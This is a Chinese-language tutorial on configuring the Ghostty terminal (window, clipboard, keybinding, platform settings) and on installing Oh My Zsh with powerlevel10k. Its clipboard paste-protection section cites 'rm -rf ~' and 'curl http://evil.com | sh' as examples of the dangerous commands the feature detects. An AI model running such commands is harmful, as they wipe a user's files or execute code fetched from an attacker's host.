在 Ghostty 里“重新定义 Ctrl / Alt / Cmd 这些修饰键的角色”,但不影响系统本身

key-remap = 在 Ghostty 内部“换按键身份”,但不改系统键盘布局

# 在 Ghostty 里,Ctrl 键 = Super(Cmd / Win)
key-remap = ctrl=super
  • 单向替换 ctrl=super,只能是ctrl=super
  • 不传递(non-transitive)

4.10 Windows设置

  1. windows-padding-x

控制终端内容和窗口左右边框之间的空白距离,单位是points(pt),主要是提升阅读体验,文字不贴边更舒服

单位 特点
px 固定大小
pt 跟屏幕缩放走
# 左右都一样
window-padding-x = 10

# 左右不同
window-padding-x = 2,4
  1. windows-padding-y

window-padding-y = 控制终端内容和窗口上下边框之间的空白距离

用法是相同的和x,控制的上下

  1. window-padding-balance

window-padding-balance

它的目的是让终端“空白边缘”在四周分布的更加均匀,终端是“网格(grid)渲染”的,会剩下一点点“多余空间”(subpixel remainder)

window-padding = true
  1. window-padding-color

这个选项决定了当终端窗口大小改变,或者内容没有填满整个窗口时,多出来的空白区域(内边距)显示什么颜色。

  • “background” (默认): 使用你在配置中设置的 background 颜色。这是最稳妥的选择,通常与终端背景色一致
  • “extend”: 智能延伸。尝试延伸最近一行网格单元的背景色到空白处
  • “extend-always”: 强制延伸。同 “extend”,但忽略所有上述的智能启发式规则。无论当前行是什么内容(即使是提示符或默认色),都强制将背景色延伸到窗口边缘。
  1. window_vsync (垂直同步)

选项控制终端渲染是否与屏幕的刷新率同步

  • true (默认): 开启垂直同步.
    • :消除画面撕裂(Tearing),重绘与屏幕刷新对齐,视觉更流畅
  • false: 关闭垂直同步
    • 最大化重绘频率,理论上能降低输入延迟,适合对延迟极度敏感的竞技场景
  1. Working Directory Inheritance

新建窗口时,是否继承上一个聚焦窗口的当前路径,你正在 /project/src 目录下工作,按下快捷键打开一个新窗口

  • true: 新窗口直接打开在 /project/src
  • false: 新窗口打开在默认目录(通常是用户主目录 ~ 或配置的 working_directory)
  1. tab_inherit_working_directory

新建标签页 (Tab) 时,是否继承上一个聚焦标签页的当前路径,你在 /var/log 查看日志,想开个新标签页跑个命令

  • true: 新标签页直接在 /var/log
  • false: 新标签页回到主目录 ~
  1. split_inherit_working_directory

新建分屏 (Split Pane) 时,是否继承上一个聚焦分屏的当前路径,你将屏幕分为左右两半,左边在编译代码 (/build),右边在编辑文件。如果你在左边按快捷键再分出一个屏

  • true: 新分屏也在 /build
  • false: 新分屏回到主目录
  1. window-decoration

Ghostty(一个现代化的终端模拟器)中关于 窗口装饰 (Window Decorations) 的配置选项 window-decoration.窗口装饰指的是操作系统为窗口提供的标题栏、边框、最小化/最大化/关闭按钮等元素

含义 适用场景/效果
auto (默认) 自动决策。根据当前的操作系统和桌面环境,自动选择“客户端装饰”或“服务端装饰”。 推荐大多数用户。能让 Ghostty 在不同系统上看起来最“原生”。
(等同于 true)
none 完全禁用。不显示标题栏、边框等任何装饰。 适合追求极致极简主义、使用平铺式窗口管理器 (如 i3, sway) 或想要自定义全部 UI 的用户。
macOS 注意:设为 none 会强制禁用标签页 (Tabs),因为 macOS 系统要求标签页必须依附于标题栏。
(等同于 false)
client 优先客户端装饰 (CSD)。由 Ghostty 应用程序自己绘制标题栏和边框。 适合想要统一视觉风格,或者在某些 Linux 桌面环境下解决服务端装饰渲染问题的用户。
(v1.1.0+)
server 优先服务端装饰 (SSD)。由窗口管理器/合成器绘制标题栏和边框。 仅限 Linux (GTK, X11, 或支持特定协议的 Wayland 合成器,如 KDE Plasma)。
如果环境不支持,会自动回退到客户端装饰。
(v1.1.0+)
  1. 窗口初始大小

控制新窗口打开时的默认尺寸。单位:终端网格单元格 (Grid Cells),即“列数 x 行数”,而不是像素

必须同时设置 window-width 和 window-height。如果只设其中一个,会被忽略

窗口初始位置 (window-position-x, window-position-y), 控制新窗口出现在屏幕上的坐标

  1. window-save-state

控制 Ghostty 退出时是否保存当前的窗口布局(位置、大小、标签页、分屏、工作目录等),以便下次启动时恢复。

  • default (默认):遵循系统默认行为。macOS:仅在应用被强制终止(如崩溃、杀进程)或系统在“设置”中配置了全局保存时才保存。正常点击关闭通常不保存。
  • never:从不保存状态。每次启动都是全新的空白窗口。
  • always:每次退出(无论是正常关闭还是强制终止)都保存状态。下次启动时完全恢复现场。
  1. resize-overlay

当你拖动窗口边缘改变终端大小时,屏幕上会短暂显示一个浮层(Overlay),告诉你当前的终端尺寸(例如 120x45)。这三个选项控制这个浮层何时出现、出现在哪以及停留多久

  • resize-overlay:控制调整大小提示框的触发时机
    • always (默认): 总是显示
    • never: 从不显示
    • after-first (默认): 首次创建时不显示,后续调整时显示
  • resize-overlay-duration (显示时长)
  1. focus-follows-mouse

这个配置项 focus-follows-mouse 控制的是 在分屏(Split Panes)模式下,鼠标悬停是否自动切换焦点

当你的终端窗口被分割成多个部分(例如左右分屏或上下分屏)时: - true (开启):只要你的鼠标光标移动并悬停在某个分屏区域上,该分屏就会立即获得焦点(变成活动状态,可以接收键盘输入)。 - false (默认/关闭):鼠标悬停不会改变焦点。你必须点击某个分屏,它才会获得焦点。

4.11 剪切板设置

终端程序能不能读/写你的系统剪贴板,以及粘贴是否安全

  1. **clipboard-read / clipboard-write

控制终端里的程序能不能操作你的系统剪贴板,等同于程序读取你的剪切板时候,需要你确认,防止有的程序盗取剪切板信息

三种模式:

  • ask默认推荐:clipboard-read = askclipboard-write = allow 读取剪切板需要你确认,写剪贴板直接允许
  • allow:允许终端里的程序自由操作系统剪贴板
  • deny:禁止终端里的程序操作系统剪贴板
  1. clipboard-trim-trailing-spaces

控制复制时是否去掉“行尾空格”,默认markdown友好

clipboard-trim-trailing-spaces = true
  1. clipboard-paste-protection

防止“恶意粘贴命令”,主要是粘贴命令时候进行检测

如果检测到危险命令,如rm -rf ~, curl http://evil.com | sh等,这个选项会检测可以shell内容,然后弹框确认

4.12 终端交互行为

  1. image-storage-limit

终端可以显示照片(比如Kitty图像协议)

每个 terminal screen 最多能存多少“图片数据”

  • 默认:320MB
  • 最大:4GB
  • 0:禁止图片功能
  1. copy-on-select

控制当你用鼠标选中文本时,是否自动复制到剪贴板

  • true (默认): 选中即复制
  • clipboard:选中后,同时复制到“选择剪贴板”和“系统剪贴板”(即 Ctrl+V 也能粘贴)
  • false:选中不自动复制,必须手动按快捷键(如 Ctrl+Shift+C)才复制
  1. right-click-action (右键行为)

定义在终端区域点击鼠标右键时触发的动作

可选值

  • context-menu (默认):弹出上下文菜单(包含复制、粘贴、设置等选项)
  • paste:直接粘贴剪贴板内容
  • copy:直接复制当前选中的文本
  • copy-or-paste (智能模式)
    • 如果有选中文本 ➡️ 复制
    • 如果没有选中文本 ➡️ 粘贴
  • ignore: 忽略右键点击(无任何反应)
  1. click-repeat-interval (连击时间间隔)

定义两次鼠标点击之间的时间间隔(毫秒),以此判断是双击/三击还是两次独立的单击

  • 默认行为:
    • 0:使用操作系统默认设置。
    • macOS:由系统设置决定。
    • 其他平台 (Linux/Windows):默认为 500ms

如果你觉得双击选中单词太容易触发(手速慢),可以减小此值(如 300);如果你觉得双击很难触发(手速快但间隔稍长),可以增大此值(如 600)

  1. quit-after-last-window-closed (最后窗口关闭后退出)

定义当最后一个终端窗口被关闭时,整个 Ghostty 应用程序是否退出。

不同的平台有不同的差异

  • macOS (默认 false):符合 Mac 习惯。关闭窗口后,应用仍在后台运行(菜单栏图标还在),可以随时快速打开新窗口。
  • Linux (默认 true):符合 Linux 习惯。关闭窗口后,应用彻底退出
  1. quit-after-last-window-closed-delay (退出延迟)

配合上一个选项使用,当最后一个窗口关闭后,延迟多久再彻底退出程序。

注记

仅在 quit-after-last-window-closed = true 时生效

  • 默认:未设置(立即退出)
  • 平台限制:仅支持 Linux
  1. initial-window (初始窗口)

控制 Ghostty 启动时是否自动创建一个初始窗口

  • true (默认):启动时立即打开一个终端窗口
  • false:启动时不打开任何窗口,程序在后台静默运行(通常用于菜单栏应用或等待快捷键触发)
注记

如果你设置了 initial-window = false,同时设置了 quit-after-last-window-closed = truequit-after-last-window-closed-delay

后果:Ghostty 启动后,因为没有任何窗口创建,它会认为“最后一个窗口已关闭”,然后在设定的延迟时间后自动退出

  1. undo-timeout (撤销超时)

定义终端内的撤销操作(Undo)在多长时间内有效。(仅 macOS 支持)

Ghostty 支持撤销某些操作(如误删文本、误粘贴等,具体取决于实现)

  • 默认值:5 秒
  • 机制:每个操作都有独立的计时器。新操作不会重置旧操作的计时器

5. Keybindings 设置

Ghostty 支持通过按键绑定配置选项实现灵活的自定义按键绑定。

注记

可以使用 CLI 命令 list-keybinds 列出 Ghostty 所有可用的快捷键。您可以运行此命令查看默认快捷键:

ghostty +list-keybinds --default

设置的基础语法是keybind = trigger=action

5.1 Trigger

触发器(trigger)定义了按键组合,用于触发特定的操作。触发可以是单个按键、带有修饰键的单个按键,或者一系列按键。

Ghostty 目前还没有一份完善的官方文档列出所有可用的按键名称(如 F1, Enter, Backspace 等)

- 来源:这些按键定义直接沿用了 Chromium(Chrome 浏览器的内核)的键码定义
- 它们通常对应标准的 USB HID(人机接口设备)代码
注记

如果你需要的按键不在标准列表中,或者你使用的是非美式键盘布局(如德语、法语、日语键盘),你可以直接使用该字符的 Unicode 码点来定义快捷键

  • Ghostty 会监听按键事件。如果某个按键按下后产生了一个特定的 Unicode 字符(码点),Ghostty 就会触发对应的动作

过于全面的缺点就是导致过于复杂

修饰键

修饰键用于组合按键,能够提供更多的命令,执行更多的操作,配置快捷键时候,可以使用以下的修饰键,macOS和Linux有点区别,所以在设置命令中直接写统一的即可,但是为了自己能够识别,也可以按照自己习惯的写法写

标准名称 别名 说明
shift - 上档键
ctrl control 控制键
alt opt, option 选项键
super cmd, command 命令键 (Mac 上的 ⌘)

注意:fn 键或键盘上的“地球仪”键不支持作为修饰键。这是操作系统和图形工具包的限制,Ghostty 无法捕获这些按键作为修饰符。

触发前缀

可以在快捷键定义前添加特殊的前缀(用冒号 : 分隔),以改变该快捷键的作用范围或输入处理方式

  • 非唯一性:快捷键不是根据前缀区分的。例如,ctrl+aglobal:ctrl+a 被视为同一个快捷键。如果你同时设置了它们,后设置的会覆盖先设置的

  • 组合使用:多个前缀可以同时使用。例如:global:unconsumed:ctrl+a=reload_config

  1. all: 让快捷键应用于所有终端表面,设置此标志后,动作会广播到所有打开的终端窗口。这对于窗口特定的操作(如调整大小)有效,对于已经是全局的操作(如退出程序)则无效

  2. global: 让快捷键成为系统级全局快捷键。即使 Ghostty 没有聚焦(甚至被其他应用遮挡),按下快捷键也能触发(仅仅限于macOS)

  3. unconsumed: 让快捷键在按下后不消耗事件。这意味着按下快捷键后,事件会继续传递给其他应用程序。这对于需要与其他应用程序共享快捷键的应用程序很有用。通常快捷键被触发后,该按键信号会被 Ghostty“吃掉”,不会传递给终端内运行的程序(例如 Ctrl+C 用于复制,Shell 就收不到中断信号)

  4. performable:仅在可执行时独占输入。这是一种智能模式.只有当动作确实能够执行时,Ghostty 才会拦截按键;否则,按键会被忽略(传递给程序)

# 有内容时复制,没内容时发送 Ctrl+C 中断信号
keybind = performable:ctrl+c=copy_to_clipboard

5.2 Action

“动作”(Action) 部分,也就是当你触发快捷键后,系统具体要执行什么操作

动作名称:参数

动作名称 描述与用法
ignore 忽略输入。
什么都不做。这可以用来“屏蔽”特定的按键,使其既没有功能效果,也不会向终端发送任何编码信号(就像按了空气一样)。
unbind 解除绑定。
移除之前的快捷键设置。这会让按键恢复默认行为,如果是可打印字符,就会直接发送给子命令(例如在 Vim 中正常使用该键)。
text:text 发送字符串。
发送指定的文本内容。它使用 Zig 字符串字面量语法。例如 text:\x15 会发送 Ctrl-U 信号。虽然你可以通过 \x1b[ 前缀发送控制序列,但官方更推荐使用下面的 csi:esc: 动作。
csi:text 发送 CSI 序列。
专门用于发送控制序列引入符(Control Sequence Introducer)序列。例如 csi:A 会发送“光标上移”的信号。
esc:text 发送转义序列。
发送转义(Escape)序列。例如 esc:d 会执行“删除到右侧单词结尾”的操作。
  • 参数化:很多动作需要参数来指定具体内容,比如 text:hello 会输入 “hello”
  • 全面性:这只是常用动作的一小部分,Ghostty 实际上支持数十种动作,涵盖了窗口管理、剪贴板操作、字体调整等各种功能。
  • 语法提示:在使用 text: 发送特殊字符时,需要熟悉 Zig 语言的字符串语法(例如使用 来表示十六进制字符)

5.3 Trigger Sequences

Ghostty 中一个非常强大的功能:组合键序列。它允许你设置一个“前缀键”(比如 Ctrl+A),按下后松开,再按下一个特定的键(比如 N)来触发最终的动作。

语法格式: 前缀键 > 后续键 = 动作

组合键的特殊行为逻辑

  1. 等待时间(无超时限制)

当你按下前缀键(如 Ctrl+A)后,Ghostty 会无限期等待你按下下一个键。没有超时自动取消的设定

  1. 覆盖规则(序列优先)

如果一个键既是独立快捷键,又是组合键的前缀,组合键序列会覆盖独立快捷键。你设置了 ctrl+a 打开新窗口,又设置了ctrl+a>n 打开新标签页,结果:当你只按 ctrl+a 时,什么都不会发生。Ghostty 会进入等待状态,看你接下来是不是要按 n

  1. 反向覆盖(独立键解除序列)

如果你先定义了序列,后来又给前缀键定义了一个独立的动作,之前的序列绑定会被全部清除。

5.4 Keybinding Action Reference

  1. 基础输入与系统操作
动作 (Action) 描述
ignore 忽略此按键组合。Ghostty 不处理也不转发给子进程(但 OS 可能仍会处理)。
unbind 解除之前绑定的快捷键。
csi 发送 CSI 序列(不含 ESC [ 头)。例如:csi:0m 重置样式。
esc 发送 ESC 转义序列。
text 发送指定文本(使用 Zig 字符串字面量语法)。
cursor_key 根据光标键模式(应用/普通)发送数据到 PTY。
reset 重置终端。用于修复程序导致的终端状态错乱。
end_key_sequence 结束当前的按键序列,并将之前的按键刷新到终端。
  1. 剪贴板与文本操作
动作 (Action) 描述
copy_to_clipboard 将选中的文本复制到剪贴板。
paste_from_clipboard 从默认剪贴板粘贴内容。
paste_from_selection 从选择剪贴板(Selection Clipboard)粘贴内容。
copy_url_to_clipboard 如果光标下有 URL,将其复制到剪贴板。
copy_title_to_clipboard 将终端标题复制到剪贴板。
  1. 搜索与选择
动作 (Action) 描述
search 开始搜索指定文本。若文本为空则取消搜索。
search_selection 搜索当前选中的文本。
navigate_search 在搜索结果中导航(上一个/下一个)。
start_search 启动搜索 UI(不设置搜索词)。
end_search 结束当前搜索并隐藏搜索 UI。
select_all 选中屏幕上的所有文本。
adjust_selection 调整当前选区范围(如 left, right, up, down, home, end 等)。
  1. 字体与显示
动作 (Action) 描述
increase_font_size 增加字体大小(单位 pt)。需参数,如 increase_font_size:1
decrease_font_size 减小字体大小(单位 pt)。需参数。
reset_font_size 将字体大小重置为配置文件的默认值。
set_font_size 将字体大小设置为指定值。需参数,如 set_font_size:14
clear_screen 清屏并清除所有回滚历史。
inspector 控制终端检查器的可见性 (toggle, show, hide)。
show_gtk_inspector 显示 GTK 检查器(仅限 Linux)。
show_on_screen_keyboard 显示屏幕键盘(仅限 Linux/GTK)。
  1. 滚动操作
动作 (Action) 描述
scroll_to_top 滚动到屏幕顶部。
scroll_to_bottom 滚动到屏幕底部。
scroll_to_selection 滚动到选中文本的位置。
scroll_to_row 滚动到指定的绝对行号。
scroll_page_up 向上滚动一页。
scroll_page_down 向下滚动一页。
scroll_page_fractional 按页面的分数比例滚动(正数向下,负数向上)。
scroll_page_lines 按行数滚动(正数向下,负数向上)。
jump_to_prompt 在 Shell 提示符之间跳转(需 Shell 集成)。
  1. 文件与写入
动作 (Action) 描述
write_scrollback_file 将整个回滚历史写入临时文件(可操作:copy, paste, open)。
write_screen_file 将当前屏幕内容写入临时文件。
write_selection_file 将当前选中文本写入临时文件。
  1. 窗口标签页与分屏
动作 (Action) 描述
new_window 打开新窗口。
new_tab 打开新标签页。
previous_tab 切换到上一个标签页。
next_tab 切换到下一个标签页。
last_tab 切换到最后一个标签页。
goto_tab 跳转到指定索引的标签页(从 1 开始)。
move_tab 相对移动标签页位置(如 move_tab:1 向前移一位)。
toggle_tab_overview 切换标签页概览(仅限 Linux + libadwaita 1.4+)。
new_split 创建新分屏(方向:right, down, auto 等)。
goto_split 聚焦到指定方向的分屏。
goto_window 聚焦到上一个或下一个窗口。
toggle_split_zoom 放大/还原当前分屏。
resize_split 调整分屏大小(如 resize_split:up,10)。
equalize_splits 均分当前窗口内所有分屏的大小。
  1. 标题与配置
动作 (Action) 描述
prompt_surface_title 通过弹窗修改当前 Surface 的标题。
prompt_tab_title 通过弹窗修改当前标签页的标题。
set_surface_title 直接设置当前 Surface 的标题。
set_tab_title 直接设置当前标签页的标题。
open_config 在系统默认编辑器中打开配置文件。
reload_config 重新加载配置文件。
  1. 关闭与退出
动作 (Action) 描述
close_surface 关闭当前 Surface(窗口、标签页或分屏)。
close_tab 关闭当前标签页(及其所有分屏)。
close_window 关闭当前窗口(及其所有标签页)。
close_all_windows (已弃用) 关闭所有窗口。建议使用 all:close_window
  1. 界面外观与系统交互
动作 (Action) 描述
reset_window_size 重置窗口为默认大小(仅限 macOS)。
toggle_maximize 最大化/还原窗口(仅限 Linux)。
toggle_fullscreen 全屏/退出全屏。
toggle_window_decorations 切换窗口装饰(标题栏等)的显示(仅限 Linux)。
toggle_window_float_on_top 切换窗口是否始终置顶(仅限 macOS)。
toggle_secure_input 切换安全输入模式(防止键盘监听,仅限 macOS)。
toggle_mouse_reporting 切换鼠标事件上报(开启后鼠标可被终端应用捕获)。
toggle_command_palette 切换命令面板(需 Linux + libadwaita 1.5+)。
toggle_quick_terminal 切换快速终端(Quake 风格下拉终端)。
toggle_visibility 显示或隐藏所有窗口(仅限 macOS)。
toggle_background_opacity 切换窗口背景透明度(仅限 macOS)。
check_for_updates 检查更新(仅限 macOS)。
toggle_readonly 切换只读模式(禁止向 PTY 发送输入)。
undo 撤销上一次操作(如关闭标签页)(仅限 macOS)。
redo 重做上一次操作(仅限 macOS)。

6. 其他设置

Ghostty剩余的一些设置,关于quick设置,shell设置,bell设置,macOS设置,Linux设置,gtk相关设置等

6.1 quick设置

Ghostty 终端中关于 “快速终端” 的各项高级配置。“快速终端”是一种类似于下拉菜单的终端窗口,通常通过快捷键呼出,用于快速执行命令而不打断当前工作流。

  1. quick-terminal-position (位置)

定义快速终端弹出时的屏幕位置,不同于常规的tab切换或者点击缩小键缩写,而是快速的呼出一个新的终端

  • top (顶部), bottom (底部), left (左侧), right (右侧), center (居中)
  1. quick-terminal-size (尺寸)

定义快速终端的大小。

  • 格式:支持百分比(如 20%)或像素(如 300px)
  • 如果只设置一个值(如 30%),它控制主轴尺寸
  1. gtk-quick-terminal-layer

定义窗口在 Wayland 合成器中的层级,决定了它覆盖其他窗口的能力

  • overlay:覆盖层。显示在所有窗口之上(包括锁屏等全屏覆盖层)
  • top顶层。显示在普通窗口之上,但在锁屏等全屏覆盖层之下
  • bottom:底层。显示在普通窗口之下,但在壁纸和其他背景窗口之上
  • background:背景层。显示在所有窗口之下
注记

Wayland 合成器 就是现代 Linux 系统中,负责把你屏幕上看到的所有东西(窗口、壁纸、鼠标指针)画出来,并管理你如何与它们交互的核心程序

在传统的 Windows 或旧版 Linux (X11) 中,这些工作通常被拆分成“窗口管理器”和“显示服务器”两个角色,但在 Wayland 的世界里,它们合二为一,变成了“合成器”

  • 客户端(应用程序):比如 Firefox、VS Code、终端,它们是演员。它们只负责把自己的台词(窗口内容)准备好
  • Wayland 合成器:它是导演兼舞台监督
特性 旧时代 (X11) 新时代 (Wayland 合成器)
架构 套娃模式:窗口管理器管位置,合成器管特效,X Server 管显示。三者独立,沟通成本高。 一体化:合成器就是显示服务器,也是窗口管理器。
效率 数据要在多个组件间拷贝,容易延迟或画面撕裂。 应用程序直接把图像交给合成器,路径最短,效率极高。
安全 任何程序都能监听键盘输入(这也是键盘记录器的原理)。 只有合成器能看输入,它决定给谁,更安全。

在Linux中不同的桌面环境有不同的合成器,KWin,Mutter,wlroots等,gtk-quick-terminal-namespace 就是让你给这个“快速终端”窗口贴上一个特定的标签

  1. quick-terminal-screen(macOS 专用)

定义快速终端应该出现在哪个显示器上

  • main (默认):操作系统推荐的主屏幕(通常是当前接收键盘输入的那个)
  • mouse:鼠标当前悬停的屏幕
  • macos-menu-bar:包含 macOS 主菜单栏的屏幕
  1. quick-terminal-animation-duration

动画时长 - macOS 专用

设置快速终端滑出和滑入动画的持续时间(秒),设置为0,可完全禁用动画

6.2 shell设置

这是 Ghostty 的灵魂功能,旨在解决传统终端中 Shell 与终端程序“脱节”的问题

  1. Shell Integration
  • 控制是否自动向 Shell 注入脚本
    • 工作目录继承:开启后,新建标签页或分屏时,会自动继承当前终端的工作目录,无需手动 cd
    • 提示符标记 (Prompt Marking):允许终端识别 Shell 提示符的位置。这使得“跳转到提示符”快捷键生效,且当你光标已在提示符处却尝试关闭终端时,不会弹出烦人的确认框
  • 配置值:detect (默认,自动识别 Shell 类型), none (关闭), 或指定 zsh, bash 等
  1. shell-integration-features 特性微调

这是一个逗号分隔的列表,允许你开启或关闭具体的子功能(格式:feature, no-feature)

  • cursor:强制光标样式(如设为竖线 bar)
  • sudo:Sudo 包装器,确保使用 sudo 时保留终端的 terminfo 信息
  • title:通过 Shell 集成动态设置窗口标题
  • ssh-env:SSH 环境变量兼容。连接远程主机时,自动将 TERM 从 xterm-ghostty 转换为通用的 xterm-256color,并传递 COLORTERM 等变量
  • ssh-terminfo:自动安装 Terminfo。如果远程主机缺少 Ghostty 的 terminfo 定义,它会自动通过 infocmp 和 tic 命令安装。安装后会缓存,避免重复操作
  • path:自动将 Ghostty 的二进制目录加入 PATH,确保在 macOS 等系统中即使 Shell 脚本重置了 PATH,ghostty 命令依然可用

6.3 bell设置

Ghostty 终端中关于“响铃”的配置项。“响铃”是一种视觉和听觉提示,用于通知用户终端中发生了某些事件,系统应该如何通知你

  1. bell-features

这是一个逗号分隔的列表,用于控制当终端收到“响铃”信号时,触发哪些具体的提醒方式。你可以通过在特性前加 no- 来禁用它

  • system系统提醒:调用操作系统的内置通知机制
  • audio: 播放一个自定义的音频文件,而不是系统默认声音,需要配合 bell-audio-path 配置使用
  • attention (请求关注 - 默认开启) 当 Ghostty 未获得焦点时,请求用户的注意,直到窗口重新获得焦点
  • title (标题栏标记 - 默认开启) 在终端窗口的标题前添加一个铃铛表情符号(🔔),直到终端重新获得焦点或发生交互。
  • border (边框标记) 在终端窗口周围显示一个特殊边框,直到终端重新获得焦点或发生交互
  1. 自定义音频设置 如果在 bell-features 中启用了 audio,你可以通过以下选项进一步调整声音效果
  • bell-audio-path (音频路径):指定要播放的音频文件路径
  • bell-audio-volume (音量):设置音频的音量,范围从 0.0(静音)到 1.0(最大音量)
  1. 应用内通知:app-notifications

该配置仅适用于 Linux (GTK) 平台,用于控制 Ghostty 界面顶部弹出的“Toast”通知。

6.4 macOS设置

  1. 全屏与窗口
配置项 说明 可选值 默认值
macos-non-native-fullscreen 是否使用非原生全屏(更快但不支持标签页) true / false / visible-menu / padded-notch false
macos-window-buttons 是否显示左上角红绿灯按钮 visible / hidden visible
macos-titlebar-style 标题栏样式 native / transparent / tabs / hidden transparent
macos-titlebar-proxy-icon 是否显示路径代理图标 visible / hidden visible
macos-window-shadow 是否启用窗口阴影 true / false true
  1. DOCK窗口行为
配置项 说明 可选值 默认值
macos-dock-drop-behavior 拖文件到 Dock 图标的行为 new-tab / new-window new-tab
macos-hidden 是否隐藏 Dock 和 App 切换器图标 never / always never
  1. 键盘与输入
配置项 说明 可选值 默认值
macos-option-as-alt 将 Option 当作 Alt 使用 true / false / left / right 依键盘布局
macos-auto-secure-input 自动开启安全输入(密码场景) true / false true
macos-secure-input-indication 是否显示安全输入提示 true / false true
  1. 图标与外观
配置项 说明 可选值 默认值
macos-icon 应用图标样式 official / blueprint / chalkboard / microchip / glass / holographic / paper / retro / xray / custom / custom-style official
macos-custom-icon 自定义图标路径 文件路径 ~/.config/ghostty/Ghostty.icns
macos-icon-frame 图标边框材质 aluminum / beige / plastic / chrome aluminum
macos-icon-ghost-color 图标中幽灵颜色 Hex / X11颜色 必填(custom-style)
macos-icon-screen-color 图标屏幕渐变颜色 多个颜色 必填(custom-style)

6. Ghostty Linux/GTK配置

  1. cgroup资源管理

cgroup 就像给每个程序一个“资源配额盒子”,每个任务都被隔离,限制程序最多用多少 CPU、内存、磁盘等资源,防止某个任务把所有资源都占用了,导致系统崩溃

配置项 说明 可选值 默认值
linux-cgroup 是否为每个终端 surface(tab/split/window)启用 systemd cgroup 隔离 never / always / single-instance single-instance
linux-cgroup-memory-limit 每个终端进程的内存限制(字节,软限制 MemoryHigh) 数值(bytes) 未设置
linux-cgroup-processes-limit 每个终端的进程数量限制(硬限制 TasksMax) 数值 未设置
linux-cgroup-hard-fail cgroup 创建失败是否导致终端创建失败 true / false false
  1. GTK行为
配置项 说明 可选值 默认值
gtk-opengl-debug 是否启用 OpenGL 调试日志 true / false debug构建=true
gtk-single-instance 是否单实例运行 true / false / detect detect

窗口与标题栏

配置项 说明 可选值 默认值
gtk-titlebar 使用 GTK 标题栏(而非 WM) true / false 依环境
gtk-titlebar-style 标题栏样式 native / tabs native
gtk-titlebar-hide-when-maximized 最大化时隐藏标题栏 true / false false

7. Ghostty快捷设置方式

Ghostty有多少设置,上面已经粗略的介绍了,多到人眼睛都看不过来,有人做了网页版的ghostty config设置,简直是造福一方,官网项目ghostty-config

Ghostty Config 是一个美观的基于 Web 的配置生成器,旨在让您轻松自定义 Ghostty 终端。Ghostty Config 允许您以可视方式调整设置、实时预览更改并导出可直接使用的配置,而无需手动编辑文本文件并担心格式和语法。

7.1 ghostty-config安装

此软件安装是非常简单方便的

git clone https://github.com/zerebos/ghostty-config.git
cd ghostty-config
bun install
bun run dev

安装运行起来之后,在浏览器输入http://localhost:5173/进入页面配置端

ghostty settings

按照你的需求,然后点击各个选项,最后会生成所需要的命令,然后直接复制或者导出即可

ghostty settings export

7.2 Oh My Zsh安装

Oh My Zsh 是一个开源的、由社区驱动的框架,旨在帮助用户更轻松地管理和自定义 Zsh(Z Shell)的配置

它是一个让 Zsh 终端变得“好用、好看、功能强大”的工具包。

  1. 开箱即用的美观主题

    它内置了数百种主题(如著名的 robbyrussell, agnoster, powerlevel10k 等),可以立即改变终端的外观,显示当前目录、Git 分支状态、执行时间、虚拟环境等信息,且通常带有漂亮的颜色和图标

  2. 丰富的插件系统

    这是 Oh My Zsh 最强大的功能之一。它拥有庞大的插件库,只需在配置文件中启用,即可获得各种增强功能

  3. 简化配置管理

    Zsh 的原生配置文件 (.zshrc) 可能非常复杂且难以维护。Oh My Zsh 提供了一个结构化的配置文件模板,用户只需要修改少量的设置(如 ZSH_THEME 或 plugins 列表)即可生效,无需从头编写复杂的脚本

注记

安装 Oh My Zsh 后,它会接管你的 .zshrc 文件。当你打开终端时,它会加载 Oh My Zsh 的核心脚本,然后根据你设定的配置加载相应的主题和插件

  1. 安装

sh -c “$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)”

sh -c “$(wget https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh -O -)”

  1. oh my zsh目录

Oh My Zsh的默认安装位置通常位于用户目录下的隐藏文件夹中

~/.oh-my-zsh

文件夹结构

➜  .oh-my-zsh git:(master) tree -L 1
.
├── cache
├── CODE_OF_CONDUCT.md
├── CONTRIBUTING.md
├── custom
├── lib
├── LICENSE.txt
├── log
├── oh-my-zsh.sh
├── plugins
├── README.md
├── SECURITY.md
├── templates
├── themes
└── tools
  1. oh my zshz主题启用

只需要编辑用户主目录下的配置文件 .zshrc,找到 ZSH_THEME 变量,并将其值更改为所需的主题名称即可。例如,要启用 agnoster 主题,可以执行以下操作:

# 示例:启用 robbyrussell 主题
ZSH_THEME="aussiegeek"

# 不想使用任何主题
ZSH_THEME=""

# 随机主图
ZSH_THEME="random"

官网中有各个相关主题的介绍

  • 主题只控制提示符(Prompt):即光标前后显示的文本(如用户名、路径、Git 状态、时间等)
  • 主题不控制终端窗口本身:它不会改变终端的背景色、整体配色方案(Color Scheme)
注记

因为许多主题需要安装 Powerline 字体或 Nerd 字体才能正确渲染。如果没有安装这些字体,这些主题会显示奇怪的提示符符号。

.zshrc文件中本身被写入了原始的设置,如果要修改,记得把之前的删除掉,否则无法替换

可以在终端输入下面的命令cd ~/.oh-my-zsh/themes && ls,来查看所有自带的主题

根据 What’s the best theme for Oh My Zsh? 中的排名,以及自定义化、美观程度,强烈建议使用 powerlevel10k

  1. 下载主题git
git clone --depth=1 https://github.com/romkatv/powerlevel10k.git ${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/themes/powerlevel10k

# 中国用户可以使用 gitee.com 上的官方镜像加速下载
git clone --depth=1 https://gitee.com/romkatv/powerlevel10k.git ${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/themes/powerlevel10k

会下载到.oh-my-zsh/custom/theme中,不要放置到自带的主题中,容易冲突

  1. 修改主题配置 在 ~/.zshrc设置 ZSH_THEME="powerlevel10k/powerlevel10k"。接下来,终端会自动引导你配置 powerlevel10k

  2. 引导theme安装

   This is Powerlevel10k configuration wizard. You are seeing it because you haven't
  defined any Powerlevel10k configuration options. It will ask you a few questions and
                                 configure your prompt.

                    Does this look like a diamond (rotated square)?
                      reference: https://graphemica.com/%E2%97%86

                                     --->    <---

(y)  Yes.

(n)  No.

(q)  Quit and do nothing.

Choice [ynq]:

主要是配置显示是否正确,比如 ---> 箭头 <---,数字显示是否正确等

ohzsh

最后选择自己喜欢的格式即可

  1. 卸载
uninstall_oh_my_zsh

终端会提醒

Removing ~/.oh-my-zsh
Found ~/.zshrc -- Renaming to /Users/qiaowu/.zshrc.omz-uninstalled-2026-03-22_17-06-13
Looking for original zsh config...
Found /Users/qiaowu/.zshrc.pre-oh-my-zsh -- Restoring to ~/.zshrc
Your original zsh config was restored.
Thanks for trying out Oh My Zsh. It's been uninstalled.
